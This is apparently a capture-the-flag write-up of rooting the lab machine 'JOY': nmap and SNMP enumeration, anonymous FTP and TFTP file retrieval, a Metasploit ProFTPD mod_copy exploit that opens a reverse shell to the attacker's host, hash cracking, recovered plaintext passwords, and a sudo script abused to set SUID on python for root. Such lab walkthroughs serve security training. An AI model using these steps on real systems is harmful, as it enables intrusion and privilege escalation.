

```

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.2.10
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxr-x 2 ftp          ftp          4096 Jan 6 2019 download
|_drwxrwxr-x 2 ftp          ftp          4096 Jan 10 2019 upload
22/tcp    open  ssh          Dropbear sshd 0.34 (protocol 2.0)
25/tcp    open  smtp         Postfix smtpd
|_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
|_ssl-cert: Subject: commonName=JOY
|_Subject Alternative Name: DNS:JOY
|_Not valid before: 2018-12-23T14:29:24
|_Not valid after: 2028-12-20T14:29:24
|_ssl-date: TLS randomness does not represent time
80/tcp    open  http         Apache httpd 2.4.25
|_http-ls: Volume /
|_SIZE TIME FILENAME
|_- 2016-07-19 20:03 ossec/
|_
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Index of /
110/tcp   open  pop3?
|_ssl-cert: Subject: commonName=JOY/organizationName=Good Tech Pte. Ltd/stateOrProvinceName=Singapore/countryName=SG
|_Not valid before: 2019-01-27T17:23:23
|_Not valid after: 2032-10-05T17:23:23
|_ssl-date: TLS randomness does not represent time
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap         Dovecot imapd
|_ssl-cert: Subject: commonName=JOY/organizationName=Good Tech Pte. Ltd/stateOrProvinceName=Singapore/countryName=SG
|_Not valid before: 2019-01-27T17:23:23
|_Not valid after: 2032-10-05T17:23:23
|_ssl-date: TLS randomness does not represent time
445/tcp   open  netbios-ssn Samba smbd 4.5.12-Debian (workgroup: WORKGROUP)
465/tcp   open  smtp         Postfix smtpd
|_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
|_ssl-cert: Subject: commonName=JOY
|_Subject Alternative Name: DNS:JOY
|_Not valid before: 2018-12-23T14:29:24
|_Not valid after: 2028-12-20T14:29:24
|_ssl-date: TLS randomness does not represent time
587/tcp   open  smtp         Postfix smtpd
|_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
|_ssl-cert: Subject: commonName=JOY
|_Subject Alternative Name: DNS:JOY
|_Not valid before: 2018-12-23T14:29:24
|_Not valid after: 2028-12-20T14:29:24
|_ssl-date: TLS randomness does not represent time
993/tcp   open  ssl/imap     Dovecot imapd
|_ssl-cert: Subject: commonName=JOY/organizationName=Good Tech Pte. Ltd/stateOrProvinceName=Singapore/countryName=SG
|_Not valid before: 2019-01-27T17:23:23
|_Not valid after: 2032-10-05T17:23:23
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3s?
|_ssl-cert: Subject: commonName=JOY/organizationName=Good Tech Pte. Ltd/stateOrProvinceName=Singapore/countryName=SG
|_Not valid before: 2019-01-27T17:23:23
|_Not valid after: 2032-10-05T17:23:23
|_ssl-date: TLS randomness does not represent time
Service Info: Hosts: The, JOY.localdomain, 127.0.1.1, JOY; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

Host script results:

```

_clock-skew: mean: -2h39m56s, deviation: 4h37m07s, median: 2s
_nbstat: NetBIOS name: JOY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-os-discovery:
  OS: Windows 6.1 (Samba 4.5.12-Debian)
  Computer name: joy
  NetBIOS computer name: JOY\x00
  Domain name: \x00
  FQDN: joy
  System time: 2021-08-26T03:07:01+08:00
smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)
smb2-security-mode:
  2.02:
  Message signing enabled but not required
smb2-time:
  date: 2021-08-25T19:07:01
  start_date: N/A

```

Lots of stuff going on, so let's organize ourselves. Things to check

Ftp 21

Http 80

Samba 139/445

Let's start with ftp with anonymous login. It worked. There's a download and an upload folder. Download is empty, upload:

```
lftp anonymous@192.168.1.145:/upload> ls -alh
drwxrwxr-x  2 ftp      ftp           4.0k Jan 10  2019 .
drwxr-x---  4 ftp      ftp           4.0k Jan  6  2019 ..
-rwxrwxr-x  1 ftp      ftp           1.9k Aug 25 19:09 directory
-rw-rw-rw-  1 ftp      ftp            0 Jan  6  2019 project_armadillo
-rw-rw-rw-  1 ftp      ftp           25 Jan  6  2019 project_bravado
-rw-rw-rw-  1 ftp      ftp           88 Jan  6  2019 project_desperado
-rw-rw-rw-  1 ftp      ftp            0 Jan  6  2019 project_emilio
-rw-rw-rw-  1 ftp      ftp            0 Jan  6  2019 project_flamingo
-rw-rw-rw-  1 ftp      ftp            7 Jan  6  2019 project_indigo
-rw-rw-rw-  1 ftp      ftp            0 Jan  6  2019 project_komodo
-rw-rw-rw-  1 ftp      ftp            0 Jan  6  2019 project_luyano
-rw-rw-rw-  1 ftp      ftp            8 Jan  6  2019 project_malindo
-rw-rw-rw-  1 ftp      ftp            0 Jan  6  2019 project_okacho
-rw-rw-rw-  1 ftp      ftp            0 Jan  6  2019 project_polento
-rw-rw-rw-  1 ftp      ftp           20 Jan  6  2019 project_ronaldinho
-rw-rw-rw-  1 ftp      ftp           55 Jan  6  2019 project_sicko
-rw-rw-rw-  1 ftp      ftp           57 Jan  6  2019 project_toto
-rw-rw-rw-  1 ftp      ftp            5 Jan  6  2019 project_uno
-rw-rw-rw-  1 ftp      ftp            9 Jan  6  2019 project_vivino
-rw-rw-rw-  1 ftp      ftp            0 Jan  6  2019 project_woranto
-rw-rw-rw-  1 ftp      ftp           20 Jan  6  2019 project_yolo
-rw-rw-rw-  1 ftp      ftp          180 Jan  6  2019 project_zoo
-rwxrwxr-x  1 ftp      ftp           24 Jan  6  2019 reminder
```

All these files have random words and sentences, perhaps they can be used as wordlists later on?

Reminder says to "remember to lock down this machine".

Directory has **Patrick's** home directory in a text file. This might come in useful if there is a LFI vulnerability maybe? Guess we'll find out later

There are some loooong file names there. Maybe passwords for later?

```

lftp anonymous@192.168.1.145:/upload> cat directory
Patrick's Directory

total 112
drwxr-xr-x 18 patrick patrick 4096 Aug 26 03:10 .
drwxr-xr-x  4 root    root    4096 Jan  6 2019 ..
-rw-r--r--  1 patrick patrick  185 Jan 28 2019 .bash_history
-rw-r--r--  1 patrick patrick  220 Dec 23 2018 .bash_logout
-rw-r--r--  1 patrick patrick 3526 Dec 23 2018 .bashrc
drwxr-xr-x  7 patrick patrick 4096 Jan 10 2019 .cache
drwxr-xr-x 10 patrick patrick 4096 Dec 26 2018 .config
drwxr-xr-x  2 patrick patrick 4096 Dec 26 2018 Desktop
drwxr-xr-x  2 patrick patrick 4096 Dec 26 2018 Documents
drwxr-xr-x  3 patrick patrick 4096 Jan  6 2019 Downloads
drwxr-xr-x  3 patrick patrick 4096 Dec 26 2018 .gnupg
-rwxrwxrwx  1 patrick patrick   0 Jan  9 2019 haha
-rw-r--r--  1 patrick patrick 8532 Jan 28 2019 .ICEauthority
-rw-r--r--  1 patrick patrick  24 Aug 26 03:10 KnZSt1vILf43pZhdK9yGEyALcxf5xfADQFyZNU3MafnSY1bvdNye5CF4rYiMF8E.txt
drwxr-xr-x  3 patrick patrick 4096 Dec 26 2018 .local
drwxr-xr-x  5 patrick patrick 4096 Dec 28 2018 .mozilla
drwxr-xr-x  2 patrick patrick 4096 Dec 26 2018 Music
drwxr-xr-x  2 patrick patrick 4096 Jan  8 2019 .nano
-rw-r--r--  1 patrick patrick   0 Aug 26 03:05 p34K0fAUuRi0UK870E0vWbKo03zXS6eq.txt
drwxr-xr-x  2 patrick patrick 4096 Dec 26 2018 Pictures
-rw-r--r--  1 patrick patrick  675 Dec 23 2018 .profile
-rw-r--r--  1 patrick patrick   0 Aug 26 03:10 PT9aMXWh4YKK8mRQFCALoc2JaI8UmtUX.txt
drwxr-xr-x  2 patrick patrick 4096 Dec 26 2018 Public
d-----  2 root    root    4096 Jan  9 2019 script
drwxr-xr-x  2 patrick patrick 4096 Dec 26 2018 .ssh
-rw-r--r--  1 patrick patrick   0 Jan  6 2019 Sun
drwxr-xr-x  2 patrick patrick 4096 Dec 26 2018 Templates
-rw-r--r--  1 patrick patrick   0 Jan  6 2019 .txt
-rw-r--r--  1 patrick patrick  24 Aug 26 03:05 uJiodQLUCUpN0auCljpbdjG9tQcW4GeMeikJnJX5IwpfrvMllvBjBBnhNAaU1eVZ.txt
-rw-r--r--  1 patrick patrick  407 Jan 27 2019 version_control
drwxr-xr-x  2 patrick patrick 4096 Dec 26 2018 Videos

You should know where the directory can be accessed.

Information of this Machine!

Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
2150 bytes transferred
lftp anonymous@192.168.1.145:/upload> |

```


SMB is empty...

Let's look at the http page



Index of /

Name	Last modified	Size	Description
----------------------	-------------------------------	----------------------	-----------------------------

 ossec/	2016-07-19 20:03	-	
--	------------------	---	--

Apache/2.4.25 (Debian) Server at 192.168.1.145 Port 80

Apache 2.4.25

OSSEC Web UI v0.8

There's this page that discloses some programs installed. The list is HUGE, but might have some cool info for later











Agent name: [Dump database](#) [<<back](#)

Latest modified files:

2021 Aug 26 /boot/initrd.img-4.9.0-8-amd64
2021 Aug 26 /sbin/mkfs.ntfs
2021 Aug 26 /sbin/ntfslabel
2021 Aug 26 /sbin/sgdisk
2021 Aug 26 /sbin/init
2021 Aug 26 /sbin/fixparts
2021 Aug 26 /sbin/resize2fs
2021 Aug 26 /sbin/udevadm
2021 Aug 26 /sbin/logsave

I also found these pages while directory busting, but they say “**cannot allow direct access**”.

Index of /ossec/site

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 footer.html	2016-07-19 20:03	240	
 header.html	2016-07-19 20:03	791	
 help.php	2016-07-19 20:03	2.0K	
 main.php	2016-07-19 20:03	5.2K	
 search.php	2016-07-19 20:03	15K	
 searchfw.php	2016-07-19 20:03	9.0K	
 stats.php	2016-07-19 20:03	11K	
 syscheck.php	2016-07-19 20:03	4.7K	
 user_mapping.php	2016-07-19 20:03	1.8K	

Apache/2.4.25 (Debian) Server at 192.168.1.145 Port 80

At this point I felt a bit stuck so I googled for some help. Turns out there are also open UDP ports. So even though this is takes a long time, let's add this scan to my usual routine: **sudo nmap -a [ip] -sU -T4**

Here is the snmp UDP port

```
161/udp open          snmp          SNMPv1 server; net-snmp SNMPv3 server (public)
  snmp-info:
    enterprise: net-snmp
    engineIDFormat: unknown
    engineIDData: d1785e76ec962f5c00000000
    snmpEngineBoots: 31
    snmpEngineTime: 45m32s
  snmp-interfaces:
    lo
      IP address: 127.0.0.1  Netmask: 255.0.0.0
      Type: softwareLoopback  Speed: 10 Mbps
      Traffic stats: 0.81 Kb sent, 0.81 Kb received
    Intel Corporation 82543GC Gigabit Ethernet Controller (Copper)
      IP address: 192.168.1.146  Netmask: 255.255.255.0
      MAC address: 08:00:27:bb:f6:3f (Oracle VirtualBox virtual NIC)
      Type: ethernetCsmacd  Speed: 1 Gbps
      Traffic stats: 4.48 Mb sent, 7.36 Mb received
```

There is one port that's listening, **36969** with a **TFTP** server

```
720:
  Name: in.tftpd
  Path: /usr/sbin/in.tftpd
  Params: --listen --user tftp --address 0.0.0.0:36969 --secure /home/patrick
721:
```

tftp 192.168.1.146 36969
get /home/Patrick/version_control.txt

I also downloaded a ton of files but none were of interest. We knew where the files were because of the “**directory**”.

```
(kali@kali)-[~]
$ cat version_control
Version Control of External-Facing Services:

Apache: 2.4.25
Dropbear SSH: 0.34
ProFTPD: 1.3.5
Samba: 4.5.12

We should switch to OpenSSH and upgrade ProFTPD.

Note that we have some other configurations in this machine.
1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy.
2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out.
```


2 big hints:

- **Dropbear SSH**, but it's not vulnerable to any major vulnerabilities
- **ProFTPD**, which has an RCE vulnerability
- <https://www.exploit-db.com/exploits/49908> and <https://www.exploit-db.com/exploits/36803>

After fighting with those exploits I just decided to use metasploit. I used the exact same options as I did as arguments, I analyzed the code properly but something was not working. Anyway, I haven't used metasploit in a while so it's good practice

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 192.168.1.149:4444
[*] 192.168.1.146:80 - 192.168.1.146:21 - Connected to FTP server
[*] 192.168.1.146:80 - 192.168.1.146:21 - Sending copy commands to FTP server
[*] 192.168.1.146:80 - Executing PHP payload /r1yaD9.php
[*] Command shell session 1 opened (192.168.1.149:4444 → 192.168.1.146:38274) at 2021-08-26 14:09:14 -0400

whoami
www-data
```

Downloaded **linpeas.sh** from my local machine's httpserver

```
Analyzing Htpasswd Files (limit 70)
-rw-r--r-- 1 www-data www-data 44 Dec 28 2018 /var/www/tryngharderisjoy/ossec/.htpasswd
admin:$apr1$3Jv20k6H$4BMdXenVBmD2E3kXe8RVL.

(kali㉿kali)-[~/Desktop]
$ hashcat -a 0 -m 1600 hash -a 3 /usr/share/wordlists/rockyou.txt -O --show
$apr1$3Jv20k6H$4BMdXenVBmD2E3kXe8RVL.:password
```

So, **admin:password**. But... where? Nowhere

Let me enumerate some more, these were just wild guesses

```
www-data@JOY:/var/www/tryngharderisjoy/ossec$ cat patricksecretsofjoy
cat patricksecretsofjoy
credentials for JOY:
patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis

how would these hack3rs ever find such a page?
```

That easy...?

```
www-data@JOY:/var/www/tryngharderisjoy/ossec$ su patrick
su patrick
Password: apollo098765

patrick@JOY:/var/www/tryngharderisjoy/ossec$ su root
su root
Password: howtheheckdoiknowwhattherootpasswordis

su: Authentication failure
```

Okay so I got **patrick:apollo098765**, but I was bamboozled with root

```
User patrick may run the following commands on JOY:
(ALL) NOPASSWD: /home/patrick/script/test
```

What does this do?

After some attempts, I tried to create a file **a.txt** inside the **/tmp** folder and change its permissions with the script

```
patrick@JOY:~$ sudo ./script/test
sudo ./script/test
I am practising how to do simple bash scripting!
What file would you like to change permissions within this directory?
../..../tmp/a.txt
../..../tmp/a.txt
What permissions would you like to set the file to?
777
777
Currently changing file permissions, please wait.
Tidying up ...
Done!
```

The file did get the **777** permission. So let's just change our target to **u+s**. This means the **SUID** bit will be on and we can run that target as root.

Basically, it's a matter of choice...

Let me try with python

```
sudo ./script/test
I am practising how to do simple bash scripting!
What file would you like to change permissions within this directory?
../..../usr/bin/python
../..../usr/bin/python
What permissions would you like to set the file to?
u+s
u+s
Currently changing file permissions, please wait.
Tidying up ...
Done!
patrick@JOY:~$ /usr/bin/python
/usr/bin/python
Python 2.7.13 (default, Apr 16 2021, 14:02:03)
[GCC 6.3.0 20170516] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os;
import os;
>>> os.system('whoami')
os.system('whoami')
root
0
>>> |
```

```
# cat proof.txt
cat proof.txt
Never grant sudo permissions on scripts that perform system functions!
# |
```

Gotcha!